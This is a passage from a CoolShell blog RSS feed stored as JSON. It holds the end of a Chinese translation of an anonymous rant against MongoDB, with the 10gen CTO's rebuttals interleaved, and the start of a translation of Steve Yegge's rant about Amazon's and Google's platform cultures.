target=\"_blank\">CTO的对此事的回复</a>后面也有一堆人在讨论这个事，还有一些程序员开始去读MongoDB的源码了，呵呵。看样子，说MongoDB的这些事并不是真的。</p>\n<p>10gen CTO 对此事的并不完全知道，其在回复，对些文中的每一条都做了回复。我把其回复的大体意思也放在原文中。不过，很有意思的是那些程序员的讨论。建议大家看看。</p>\n<h3>正文</h3>\n<p>因为各种政治原因，我这段时间没有说什么，但是现在我觉得因为要对社会负责，所以我要阻止大家不要把你们的业务放在MongoDB上。</p>\n<p>我的团队在一个有巨大用户量（一个有千万用户级的大型的公司）系统上使用的MongoDB，这个系统上让MongoDB有非常大的负载。早期，我们以为使用MongoDB会像10gen公司（MongoDB背后的公司）宣扬其在长期性能扩展有很多好处。但是，我们错了，而这个rant(长篇抱怨)就是为了让你不要相信那些所谓的成功经验而和我们一样犯了大错。如果有人能避免你上当，那么就得我写这么多。希望能警醒更多的人。</p>\n<p>注意，对于和10gen打交道的经历来说，他们给予了我们充分了热情和帮助，而且非常地好。但是这并不能成为我不告诉大家他们的产品失败的理由。</p>\n<p><span id=\"more-5826\"></span></p>\n<h4>为什么这么说？</h4>\n<p>数据库应该是正确的，或是仅可能的正确，因为数据库的错误会比其它使用更大。不仅仅是因为其对运行，性能，开销，和其价值影响巨大，还因为其连带的东西。匆忙去去移植TB级的数据相比起去修改代码中的一个逻辑错误来说是一个很巨大的工作。而在系统出问题后需要恢复TB级的数据，而你即被限制住了，你会有一种绝望的感觉。</p>\n<p>数据库是一个很复杂的系统，对于开发者来说就像一个黑盒一样。你需要对你所采用的数据库持绝对信任的态度，信任它会做正确的事，并尽会保持 一致笥和可用性。</p>\n<p>为什么MongoDB会流行？</p>\n<p>说句公道话，我们必需承认MongoDB是流行的，因为下面这些原因让其流行变得很合理：</p>\n<ul>\n<li>它非常容易地运行</li>\n<li>非常自由的Schema模型，而且可以很容易地和JSON类的数据结果映射起来，这对于程序员来于有很大的感染力（它完全符合程序员的逻辑思维），而且，程序员总是在项目可以做技术选型的人。</li>\n<li>成熟和分健壮，有记录，被真实的Use Case测试过，等等。对于那些喜欢选择成熟的技术的系统管理员和运营专业来说，这是一个很典型的选择。</li>\n<li>它单系统，低读并发的性能测试非常令人惊讶，而对于那些没有经验的评估者来说，这基本上来说是最重要的。</li>\n</ul>\n<p>现在，你可能正在开发一个随便玩一玩的网站，或是一个原型，或是那种只考虑开发速度不考虑别的的项目。老实说，对于这种项止，无所谓你用什么样的技术，只要搞定工作就行了。</p>\n<p>但是，如果你想要在MongoDB上搞一个大规模的系统，在上面运行真实的业务，那么，请不要用MongoDB。</p>\n<h4>为什么不？</h4>\n<p>1）MongoDB为了赢得Benchmark测试而默认使用了不安全的写方式</p>\n<p>如果你不调用getLastError()，MongoDB就不会在确认数据库写操作完成就返回了，这会引入至少两种问题：</p>\n<ul>\n<li>在并发的环境下（连接池，等），在一个读操作“完成”后的连续地读操作会出错，MongoDB没有“栅栏条件锁”来知道什么时候完成写。</li>\n<li>未知个数的保存操作会被丢弃，因为保存操作的队列会在不同的地方。比如TCP缓存等。当你和数据库连接因为一些意味情况断开的时候，这些东西就被丢弃了。</li>\n</ul>\n<blockquote>\n<div>10gen CTO 回复： 这和Benchmark没有任何关系，并说这个就是API的设计，其交给用户自己去选择，因为写的方式也有很多种。</div>\n</blockquote>\n<p>2）MongoDB会以令人震惊的方式丢失数据</p>\n<p>下面是一个我们所经历过的它丢数据的列表：</p>\n<ul>\n<li>数据就是丢了，原因未知</li>\n<li>从损坏的数据库中恢复数据不成功，如事务日志。</li>\n<li>主从结点间的数据复制有缺口，导致从结点丢失主结点有的数据。是的，没有CheckSum，并且是的，你还会看到数据复制过去了。</li>\n<li>数据复制有时会停了，没有错误。你可以监控你的复制状态。</li>\n</ul>\n<blockquote>\n<div>10gen CTO 逐一回复：1）从来没有一个数据丢失的BUG我们没有马上fix的事情。你能告诉我你报给我们的问题号吗？我们至少要明的是怎么一回事。如果是我们的问题，我们会马上fix的。2）从损坏了的数据库中不能完全恢复数据 ，这不挺正常的吗？但是如果有主从服务器互为备份应该会好一些。3）请告诉我你的问题号，我们从来没有接到过这样的错误报告。如果有，的确很严重。4）如果是说错误条件发生的时候没有通知，这有可能。另外，你可以监控数据复制的写操作，你可以使用w=2 为getLastError的参数。</div>\n</blockquote>\n<p>3）MongoDB 需要全局写锁来请求写操作</p>\n<p>在写操作频繁的时候，这等同于杀了你。如果你运行一个blog，你也许不会关心这个事，因为你的读写操作不高。</p>\n<blockquote><p>10gen CTO 回复：读写锁永远都是问题，但是2.0会好很多，2.2会解决得更好一些。</p></blockquote>\n<p>4）MongoDB 的Sharding(分区) 在高负载下会停止工作</p>\n<p>在高负载下加一个shard是一场恶梦。Mongo要么会移动其数据块太快而导致DOS攻击产生很多流量占用带宽，要么就完全地拒绝更多的数据块。这会使一个高流量的网站承受着沉重地写操作。</p>\n<blockquote><p>10gen CTO 回复：如果系统已经超过了其负载，那么移动数据当然会变得很难。我每一次的演讲都说得很清楚，不要在系统性能不行的时候才去加shard，这不行的。</p></blockquote>\n<p>5）Mongo 不可靠</p>\n<p>Mongod/配置服务器/mongos的架构确定合理且聪明。不幸的是，mongos完全就是垃圾。在有负载的情况下，它时不时就都会崩溃，有时几个小时，有时几天。进程重启监控有时也不管用，因为他会抛出一些断言会伪造出一个关键线程，其导致进程还在运行。Double Fail。</p>\n<p>最坏的是，唯一可行的方式是在一堆mongos实例前放一个HaProxy(一种负载均衡器)，运行一个作业其缓慢地轮着访问这些mongos实例，并定期kill掉他们，以变可以重新启动新的实例。我没有在开玩笑。</p>\n<blockquote><p>10gen CTO 回复：不可能有这种事，你能不能告诉我更多的细节？</p></blockquote>\n<p>6）MongoDB有一次甚至删除了整个数据库</p>\n<p>MongoDB 1.6，在数据同步配置中，有时会配置了一个错误的结点（经常是一个空结点）是一个最新的数据结点。于是其它同步数据的结果上的<strong>数据就这样被干掉了</strong>（我说的是700GB的好数据），因为其把这个空结点的数据同步回有数据的结点上。数据库永远永远都不应该干这个。如果出现这种问题，数据库应该抛出一个错误而让DBA来选择合理的操作，或是强制使用正确的配置。而不应该删除所有的数据（那天太糟糕了）。</p>\n<p>他们在1.8中修复了这个问题，偶滴神啊。</p>\n<blockquote><p>10gen CTO 回复：找不到这样的事，也找不到相应提交的代码，你能多给点信息吗？</p></blockquote>\n<p>7）发布了一些不应该发布东西</p>\n<p>众所周知，在稳定版里能找到一些尴尬的bug其会导致数据问题——而我们总是在出了问题后他们才告诉我们这些问题，这是因为我们购买了10gen他们那超级诈骗的白金技术支持。他们回应是，发给我们一个hot patch，他们内部叫RC的玩意，然后让这个hot patch运行在我们的数据上。</p>\n<blockquote><p>10gen CTO 回复：关于白金的技术支持，我们所接手的所有问题都会公开，fix也会公开。没有特定的情景，这种事很难讨论。我们会根据不同的情况作出不同的反应。我们希望我们的用户的问题能尽快得到解决。</p></blockquote>\n<p>8）复制器在繁忙的服务器上黯然失色</p>\n<p>复制器经常性的向Master发起DOS攻击，或是复制非常慢，花了巨长无比的时间，而oplog几乎被耗尽（就算是50GB的oplog）。</p>\n<p>我们有一个繁忙的，大的数据集我们不会复制他因为它是动态的。那是令人痛苦的一个月，或是我们需要在选择不同的数据库系统前交叉双指（注：好运的手势）</p>\n<blockquote><p>10gen CTO 回复：这看起来像上服务器负载过重了。我前面提到过了。</p></blockquote>\n<p><strong>但是最糟糕的问题是：</strong></p>\n<p>你可能会说，我这些问题都是过去式了；他们修复了所有这些问题或是他们会在下一版本中修复这些问题；X问题可以用Y实践来减轻。等等，等等。</p>\n<p>不幸的是，你说这些东西一点用也没有。</p>\n<p>真正的问题是，这么多的问题都是首要的问题。 数据库开发者要能hold住比一般程序员更高的标准。也就是说，你的优先级应该像下面这个样子：</p>\n<ol>\n<li>别搞丢数据，对数据要有完全的把握</li>\n<li>通过实践保证可用性</li>\n<li>多结点的性能扩展性</li>\n<li>最小延迟应该保持在99%和95%之间</li>\n<li>每个资源的每秒请求数</li>\n</ol>\n<p>10gen的顺序好像是 #5  为每一，其它项随便，#1 并不在前3位。</p>\n<blockquote><p>10gen CTO 回复：这明显不是真的。看一看我们提交的代码，看一看我们的fix。 我们从来不会在release版中隐藏一个bug。如果我们非常在乎性能的benchmark的话，我们会花精力解决那些锁的问题，这样一来，多线程并发会更快一些。</p>\n<p>MongoDB是一个新生的东西，还有很多东西需要打磨。如果你想来认识一下我们，我们欢迎你来认识一下我们。</p></blockquote>\n<p>这些失败，还有那所暗示的公司的优先级，指出了一个最基本的企业文化的问题，其会让问题出现在任一发布版中：因为他们缺乏尊守必要的数据库系统的设计律条。</p>\n<p>请慎重考虑这些警告。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3311.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"几篇技术文章\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3311.html\" class=\"wp_rp_title\">几篇技术文章</a></li><li ><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" alt=\"SQL的Where语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_title\">SQL的Where语句</a></li><li ><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" alt=\"MySQL性能优化的最佳20+条经验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_title\">MySQL性能优化的最佳20+条经验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5826.html\">千万别用MongoDB？真的吗？！</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5826.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>32</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-15.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 15 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=15\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Thu, 28 Feb 2013 14:36:46 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>SteveY对Amazon和Google平台的吐槽</title>\n\t\t<link>https://coolshell.cn/articles/5701.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5701.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 03 Nov 2011 01:19:12 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Platform]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5701</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Steve Yegge， Amazon的前员工，现任Google员工，其本来想在Google+上和Google的员工讨论一些关于平台的东西，结果不小心把圈子设成...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5701.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Steve Yegge， Amazon的前员工，现任Google员工，其本来想在Google+上和Google的员工讨论一些关于平台的东西，结果不小心把圈子设成了Public，结果这篇文章就公开给了全世界，引起了剧烈的反应。发布后很快他就马上把这篇文章删了，不过，互联网上早备份了下来——<a href=\"https://raw.github.com/gist/933cc4f7df97d553ed89/24386c6a79bb4b31fb818b70b34c5eab7f12e1ff/gistfile1.txt\" target=\"_blank\">SteveY&#8217;s Google Platforms Rant</a>。后来，Steve在<a href=\"https://plus.google.com/110981030061712822816/posts/bwJ7kAELRnf\" target=\"_blank\">其Google+上作了一些解释</a>，大体是说他喝多了，而且又是在凌晨，所以大脑不清，文章中的观点很主观，极端且不完整，还有Google的PR对他很好，等等，等等 。</p>\n<p>几个星期前看到时就一直都想翻译一下这篇文章，不过因为最近事情太多，文章又很长，所以现在才翻译完成，翻译的不好，还请大家指正。</p>\n<h3>导读</h3>\n<p>在你阅读正文以前，我想说明几点，希望你注意一下：</p>\n<ul>\n<li>Steve这个人非常喜欢写长篇大论的东西。而且比较喜欢辛辣调侃和恶搞的文风，这点大家要注意！</li>\n</ul>\n<ul>\n<li>文中先“骂”Amazon公司，再通过“骂”Amazon的创始人贝索斯Bezos并烘托出他的的悟性和雄心，最后教育了一下Google。</li>\n</ul>\n<ul>\n<li>我把文章分成了三个部分，这样方便大家阅读和讨论。第一部分只是个人情绪化的抱怨，第二部分是说Amazon的成长，第三部分是教育Google，我觉得第二部和第三部分是重点。</li>\n</ul>\n<ul>\n<li>对于我们来说，我们应该获取Steve那些关于平台（Platform）相关的那些有价值的观点。尤其是他说的Amazon如何进化成一个平台性的公司，以及阐述Google应该怎么做的那些观点。</li>\n</ul>\n<ul>\n<li>关于对Amazon的那些指责，我想说，6年，对于一个世界级的互联网公司，已经很不一样了。</li>\n</ul>\n<h3 style=\"text-align: left;\">正文</h3>\n<h4 style=\"text-align: left;\">第一部分</h4>\n<p>我曾在Amazon工作了六年半，现在，我在Google的日子也差没不多这么长了。对于这两家公司，有一件事总是萦绕着我——这种感觉一天比一天强烈──那就是，Amazon每件事都做错了，而Google每件事都做对了。当然啦，这是很笼统的话，但却是惊人的准确，相当的疯狂吧。大概有一百甚至两百种不同的地方可以让我们去比较这两个公司，而Google可能在每一项都能胜出，如果我记的没错，除了其中3项以外。因为，我曾用电子表格把这些项都列出来了，只是法务部门不会让我给任何人看，即使人事招募部门很喜欢这个报表。</p>\n<p><span id=\"more-5701\"></span></p>\n<p>这里，让我先给你个例子让你稍微体会一下：Amazon的人事雇用流程有根本上的缺陷，因为各个团队各招各的人，以至于，各团队之间的招聘标准相当的不一致性，即使他们通过各种努力来统一标准，但是实际操作上却是一团糟；他们没有真正的SRE（陈皓注：Site Reliability Engineer ），工程师们什么事都要做（陈皓注：所谓SDE &#8211; Someone Do Everything）、几乎没时间编码。当然，不同的部门有不同的情形，不过，这取决于你的运气。他们不搞慈善，也不帮扶贫困人群，也不搞社区贡献，或是其它相似的活动。在那里，他们从来不谈这些，或许只有在说笑话的时候才会提到。他们的办公环境是个灰尘及污迹四处的像农场一样的隔间，他们在公共区域连一分钱装修的都不会花，而且，他们的薪水和福利相当差，只是近来与Google和Facebook竞争人才，这个差距才变得非常地小。不过，他们没有我们有的津贴或额外奖金——他们只是给你录用信上的那个数字，就这么多。他们的程序代码完全就是灾难，无论什么都没有任何的工程标准，除了各别团队有一些。</p>\n<p>公平起见，他们的确有套非常非常不错的版本控制管理系统，而这是我们（Google）需要尽力赶上他们的地方，他们还有一个漂亮的发布/订阅系统，我们也没有相对应的东西。不过，就大体而言，他们有的不过是一堆蹩脚的工具，用关系数据库来读取或写入状态机里的信息中罢了。我们不应该这么搞就算这样做是可以。</p>\n<p>这就是我所所说的那3件事中的两件事Amazon比Google强的，那就是的他们的发布/订阅系统以及版本控制和管理系统。</p>\n<p>我猜你也许会为他们争辩到——他们要更快更早地推出服务并通过狂热地迭代来不断地改进和完善。他们把服务发布的优先级看得比任何事都重，包括工程纪律或是其它一堆可能会让其花时间的事务。所以，即使这么做让他们在市场上有了某种程度的竞争优势，但也造成其他足够多的问题，总之，这样的做法算不上是个漂亮的扣篮。</p>\n<p>但是，他们有一件事做的非常非常好，其好到可以把其他政治，理念，技术上的消耗和混乱<strong>完全</strong>弥补回来。</p>\n<h4>第二部分</h4>\n<p>Jeff Bezos是个臭名昭彰的微管理经理人，他的微管理都管理到了Amazon零售网站上的每一个显示像素。他雇佣了Larry Tesler——Apple的首席科学家，他可能是全世界最有名也最受尊敬的人机交互接口专家，然而，Bezos忽略了Larry三年来提出的每一个建议，直到Larry最后——明智地——终于离开了公司。Larry本应做一些大型可用性（Usability）研究，并可以系统地了解那个根本就没有人能够搞懂、使用那该死的网站，可是，Bezos对于那些像素不放手，这些页面上的那几百万个显示像素就像是他的孩子一样。所以，他的这些孩子还留着，而Larry没有。</p>\n<p>当然，微管理不是第3项Amazon做的比我们好的事。我的意思是，没错，他们微控管理做地非常地好，但我不会把这项列在他们的强项清单上。我这样说只不过是为了我下文做铺垫，帮助你了解我后面要说的事儿。我们现在要说的这个人，是在多个严肃的公开场合说要来Amazon工作就应该付他钱才对的人。当有人跟他意见不同时，他会递出写有他名字的黄色即时贴以提醒那个人“谁是公司的老大”。这家伙是……，Steve Jobs，我想，除了没有品味和设计能力，他们很相似。千万别误解我，Bezos是个绝顶聪明的人，只不过他把那些正常的管控搞得像嗑了药的嬉皮士一样罢了。</p>\n<p>所以，有一天，Jeff Bezos下了一份命令。当然，他总是这么干，这些命令对人们的影响来说就像用橡皮槌敲击蚂蚁一样。这个命令大概是2002年，我想误差应该是在正负1年内 —— 这个命令发布的范围非常地广，设想很大，让人眼珠子鼓出来的那种，这种惊讶程度和其他的命令相比，就好像你突然收到公司给你的奖金一样让人惊讶。</p>\n<p>这份大命令大概有如下几个要点：（陈皓注：这里是本篇文章的要点！如果这真是Bezos发出来的，那么太赞了，Bezos完全就是一个系统架构大师啊，那可是2002年左右啊。作者调侃Bezos完全是正话反说啊）</p>\n<blockquote>\n<ul>\n<li>1) 所有团队的程序模块都要以通过Service Interface 方式将其数据与功能开放出来。（陈皓注：Service Interface也就是Web Service）</li>\n</ul>\n<ul>\n<li>2) 团队间的程序模块的信息通信，都要通过这些接口。</li>\n</ul>\n<ul>\n<li>3) 除此之外没有其它的通信方式。其他形式一概不允许：不能使用直接链结程序、不能直接读取其他团队的数据库、不能使用共享内存模式、不能使用别人模块的后门、等等，等等，唯一允许的通信方式只能是能过调用 Service Interface。</li>\n</ul>\n<ul>\n<li>4) 任何技术都可以使用。比如：HTTP、Corba、Pubsub、自定义的网络协议、等等，都可以，Bezos不管这些。（陈皓注：Bezos不是微控经理吗？呵呵。）</li>\n</ul>\n<ul>\n<li>5) 所有的Service Interface，毫无例外，都必须从骨子里到表面上设计成能对外界开放的。也就是说，团队必须做好规划与设计，以便未来把接口开放给全世界的程序员，没有任何例外。</li>\n</ul>\n<ul>\n<li>6) 不这样的做的人会被炒鱿鱼。</li>\n</ul>\n<ul>\n<li>7) 谢谢，祝你有个愉快的一天！</li>\n</ul>\n</blockquote>\n<p>哈哈！你们这150个前Amazon的员工，当然能马上看出第7点是我开玩笑加上的，因为Bezos绝不会关心你的每一天。</p>\n<p>不过第6点是很真实的，于是，所以人们都去工作。Bezos并派出了几位首席牛头犬来监督并确保进度，领头的是和熊一样大的牛头犬：Rick Dalzell，Rick是以前是陆军突击队队员，西点军校毕业生，拳击手，和沃尔玛的首席虐刑官 / CIO，而且他也是个高大、和蔼、令人敬畏的人，还是经常使用&#8221;hardened interface&#8221;词的人，Rick 本来的走路和说话都比较hardened interface，所以不用多说，每个人都得干 出有<strong>重大的</strong>进展，这样Rick才能看得见。</p>\n<p>在接下来的几年，Amazon内部转变成面向服务架构SOA(Service-Oriented Architecture)，在这华丽转身的过程中，他们学到了相当巨多巨多的东西。我在的那个时候，世界上就有很多很多的关于SOA的学术文档，但在Amazon的那种超大规模的面前，世间的这些文档就好像告诉印第安纳琼斯（陈皓注：电影夺宝奇兵男主角）过马路前要先看看两边有没有来车一样没用，Amazon的研发工程师们在这个过程中发现了很多很多的问题，并从中学到了很多。下面只是他们这些问题中的沧海一粟：</p>\n<ul>\n<li>pager escalation（陈皓注：生产线上问题的寻呼系统）变得比较困难，因为ticket可能会转过来转过去（陈皓注：ticket就是处理问题的工单），只到转了20次，都找到真正能解决问题的团队和人。如果每一个呼叫都花去团队的15分钟的响应时间，那在找到真正的团队之前，几小时就已经过去了，除非，你能建造出很多很多的脚手架，测量标准和报告。</li>\n</ul>\n<ul>\n<li>每一个和你的相关团队突然间都可能成为一个潜在性的DOS攻击者。没人可以让事情有进展，直到在每一个Service里放上配额（quota）与节流阀（throttling）的机制。</li>\n</ul>\n<div>\n<ul>\n<li>监控与QA是被统一了。如果你不进行一个大规模的SOA，你就不会这么去想。但是，等到你的Service说，“是的，我还好！”，但实际情况可能是，服务器里唯一能正常运作的功能就是一个快乐的机器声音在呼叫你：“我很好，收到，收到”。为了要确认整个服务能正常运作，你需要对Service的每一个部分都去Call一下。这个问题会以递归的形式地出现，直到你的监控系统能够全面性地系统地检查所有的Services和数据，此时，监控系统就跟自动化测试QA没什么两样了，所以两者完美的统一了。</li>\n</ul>\n</div>\n<ul>\n<li>如果你有上百个Services，而且你的程序只能通过由这些Services来跟其他团队的程序做沟通，那么，没有一套Service发现机制的话，你就不能找到这些Service。所以，你得先有一套Service的注册机制，这也是一个Service。所以，Amazon有一套全体适用的Service注册机制，以例可以通过反射机制来找到Service，并知道Service的API，以及是否可用，在哪儿。</li>\n</ul>\n<ul>\n<li>调试其他人的代码以调查问题变得非常的难，几乎都不可能，除非有一套全面性的标准的方式，他可以在可被调试的沙盒里运行所有的Services。</li>\n</ul>\n<div>上面这些只是极少数几个例子，在Amazon在进化的过程中，Amazon遇到这样的问题可能一打甚至数百个，Amazon都一一学习和总结了。对于把Service外部化甚至还有很多几乎没有人会想到的非常生僻的东西，当然，也不会有你想像的那么多，Amazon都学到了。把业务组织成Service让团队学会了不能相信对方，就如同他们不能信任公司以外的程序员一样。</div>\n<p>当我在2005年中期离开Amazon加入Google时，这个努力进化的过程还在进行时中，但那时已经相当的先进了。从Bezos颁布法令的时间到我离开的时候，Amazon已经把文化转变成了“一切以Service第一”为系统架构的公司，今天，这已经成为他们进行所有设计时的基础，包括那些绝不会被外界所知的仅在内部使用的功能。</p>\n<p>那时，如果没有被解雇的的恐惧他们一定不会去做。我是说，他们今天仍然怕被解雇，因为这基本上是那儿每天的生活，为那恐怖的海盗头子Bezos工作。不过，他们这么做的确是因为他们已经相信Service这就是正确的方向。他们对于SOA的优点和缺点没有疑问，某些缺点还很大，也不疑问。但总的来说，这是正确的，因为，SOA驱动出来的设计会产生出平台（Platform）。</p>\n<p>是的，这就是Bezos的法令要达成的目标。他以前（现在也是）一点不关心各团队是否好，也不关心他们使用什么样的技术，实际也不去管他们如何运作他们的业务，除非团队开始把事搞砸。但是，Bezos比绝大多数的亚马逊人都很早很早就领悟到，Amazon必须成为一个平台。</p>\n<p><strong>如果是你，你会想到要把一个在线卖书的网站设计成为一个有扩展性，可程序化的平台？你真的会这样想吗？</strong></p>\n<p>嗯，第一件Bezos领悟到的大事是，为了销售书籍和各种商品需要的基础架构，这个基础架构可以被转变成为绝佳计算平台（Computing Platform）。所以，现在他们有了Amazon Elastic Compute Cloud（亚马逊弹性运算云平台EC2），Amazon Elastic MapReduce，Amazon Relational Database Service（亚马逊关系数据库服务），以及其他可到AWS <a href=\"http://aws.amazon.com/\">aws.amazon.com</a>查得到的一堆Service。这些服务是某些相当成功的公司的后台架构，比如 我个人喜欢的 reddit 是这一堆成功公司的其中一个。</p>\n<p>另一大领悟是，他知道他们不可能永远都创造出对的东西。我认为，当Larry Tesler说他妈妈完全搞不懂怎么使用那个该死的网站时，Bezos的某根筋被触动了，当然，我也不清楚到底是谁家母亲，这无关紧要，因为没有人的母亲能够会用那个该死的网站。事实上，连我这个在那工作超过5年的人都觉得Amazon网站的接口令人胆战惊心。</p>\n<p>我并不是很确定Bezos是如何领悟到的——领悟到他不能创造 出一个产品能适用于所有的人。不过，怎么来的这不重要，重要的是他的确领悟了。这种事有一个正式的术语，叫Accessibility，这是计算机世界中最最重要的事情了。</p>\n<p>最！重！要！的！事！</p>\n<p>如果你在心里面在想“哼？你是说，像盲人和聋人那种Accessibility吗？”，那么，你不是唯一这样想的人，因为我已经知道有<strong>很多很多</strong>像你这样的人：这种东西对你们这种人来说是不可能有正确的Accessibility，所以这事你还不能理解。当然，不能理解也不是你的错，就像眼盲，耳聋，或是其他行动不便的残疾人，这些也不是他们的错。当Software——或ideal-ware——如果因为某些原因不能被存取或使用，那么，这就是软件或是那想法的错了。这就是Accessibility failure。</p>\n<p>就如同生命中那些重大的事一样， 每个事都有一个邪恶的双胞胎姊妹，它在幼年都受到父母的溺爱，现在它已经成长为同等强大的复仇女神（是的，Accessibility有不只一个复仇女神），这个复仇女神叫安全性（Security），他们在一起总是争执不休，冤家一对。</p>\n<p>不过，我会和你争论Accessibility要比安全性来的重要多了，因为零Accessibility就意为着你根本没有做出产品来，而如果安全性为零，你仍然还是可以有一个某个程度上成功的产品，譬如说Playstation Network。</p>\n<p>对了，也许你还没注意到，我其实可以为这篇文章写出一整本书，很厚的一本，其中填满了那家我曾工作过的公司里关于蚂蚁与橡皮槌的事。但是，我可能也就永远无法在这发表这短篇的夸夸其谈了，而你也就无法读到除非我现在开始结尾。</p>\n<h4>第三部分</h4>\n<p>那三件Amazon比Google强的中的最后一件事是，Google很不会做平台（Platform）。我们就不懂什么是平台。我们就根本不知道平台的内涵。你们其中一些人明白，但是你们是少数派。在Google过去这六年来，越清楚这一点就越让我痛苦。我曾有一线希望，来自Microsoft和Amazon，以及近来Facebook的竞争压力，会让我们全体人都清醒过来，并开始打造我们公司的Service。不是那种特制的或半生不熟的，而是多少和Amazon的类似的那种：一次到位，真正的，没有作弊或是欺骗，并且把它放在最高优先级的位置。</p>\n<p>但实际上却不是，这个事被放在了好像是第10还是第11位，或是第15位，我不知道，反正是相当低。只有少数几个团队严肃地看待这个事，但大多数的团队不是<strong>从没有</strong>思考过这个事，就是只有一很少的人很鼠目寸光地在看待这个事。</p>\n<p>对大多数的团队来说，只要是让他们以提供给别人那种可程序化的方式存取他们的数据与运算的方式来开发软件，就算几个小小的粗糙的Service，对他们来说也是翻天覆地。他们大部分人都认为他们在做产品，但他们只是在提供那些凄惨粗糙的Service。回去看看前面我所列的那些部分的Amazon学到的东西，然后告诉我，哪一个粗糙的Service能让你有超凡脱俗的产品。迄今为止，就我所知，一个也没有。就算是这些粗糙的东西很不错，不过这就好像要汽车的时候，你却只有汽车的零件。</p>\n<p><strong>没有平台的产品是没用的，再精确一点，去平台化的产品总是被平台化的产品所取代</strong>。</p>\n<p>Google+是我们完全失败的不懂Platform最明